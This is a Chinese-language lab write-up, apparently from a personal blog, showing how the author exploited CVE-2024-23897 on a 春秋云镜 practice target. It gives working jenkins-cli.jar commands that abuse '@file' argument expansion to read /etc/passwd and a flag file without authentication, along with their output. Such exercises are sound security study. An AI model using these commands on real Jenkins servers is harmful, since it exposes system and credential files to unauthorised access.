春秋云镜 CVE-2024-23897

CVE-2024-23897

环境地址:https://yunjing.ichunqiu.com/cve/detail/1172

首先看一下介绍

1
Jenkins 2.441及更早版本,以及LTS 2.426.2及更早版本没有禁用其CLI命令解析器的一个功能,该功能会将参数中'@'字符后跟的文件路径替换为该文件的内容,允许未经身份验证的攻击者读取Jenkins控制器文件系统上的任意文件。

这其实就是nvd上的漏洞描述翻译了一下,然后看到这个Jenkins好像也不是开源的,光是这种描述我这种菜鸡怎么理解得了😶‍🌫️(

只能去搜有没有什么现成的东西来抄了

首先是nvd上这个漏洞的界面 NVD - CVE-2024-23897 (nist.gov)

在References to Advisories, Solutions, and Tools里给了一些链接,第二个链接我点开一看这不就是现成的exp嘛,这不直接抄过来运行一下就完了

然而实际没这么简单,这exp根本没跑通😶‍🌫️,然后也看不懂。它开了两个线程,每个线程发了一个请求,至于为什么要弄两个线程不懂,那二进制的http body又是啥也不懂😭

又是一顿乱搜,于是发现了这两篇文章:

Jenkins文件读取漏洞拾遗 CVE-2024-23897

CVE-2024-23897漏洞解析

利用

首先第一步,是这个jenkins软件本身搞了一个java的客户端,他会帮用户发送一些请求到web上,来实现一些功能(就像写好了一些web接口,然后给你集成了一下)

根据文章介绍,这个客户端可以在 /jnlpJars/jenkins-cli.jar资源路径下下载,我在春秋云镜的靶机上成功下下来了

然后第二步,是jenkins本身会调用args4j这个开源的参数解析工具,然后这个工具的一个特点是,会把参数中,以@开头的内容,解析成一个文件名,从文件中读取内容来替换这个参数

至于如何使用参数去调用这个cli工具

1
java -jar jenkins-cli.jar -s <ip>:<port> -http ....

但是我执行了一个version的命令会报错

1
2
3
4
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: anonymous is missing the Overall/Read permission

如果Jenkins系统关闭了匿名用户可读功能,大部分的cli命令也就无法调用,只有help和who-am-i例外

1
2
3
4
5
6
7
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help "@/etc/passwd"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

实际上这种@一个文件作为参数,每一行都会当做一个独立的参数,也就是说行数很多的文件只会展示开头,但是如果文件只有一行也读不出来

1
2
3
4
5
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help "@/flag"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: You must authenticate to access this Jenkins.
Jenkins CLI

需要多加几个参数

1
2
3
4
5
6
7
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help 1 "@/flag"             
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: flag{52d6bf17-24af-49a1-a62b-f4b0147c133e}
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: 1)

这样也可以

1
2
3
4
5
6
7
8
└─$ java -jar jenkins-cli.jar -s http://8.147.129.74:31171 -http help "@/flag" "@/etc/passwd"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: flag{52d6bf17-24af-49a1-a62b-f4b0147c13
3e})

春秋云镜 CVE-2024-23897
https://isolator-1.github.io/2024/10/16/penetration/春秋云镜CVE-2024-23897/
Author
Isolator
Posted on
October 16, 2024
Licensed under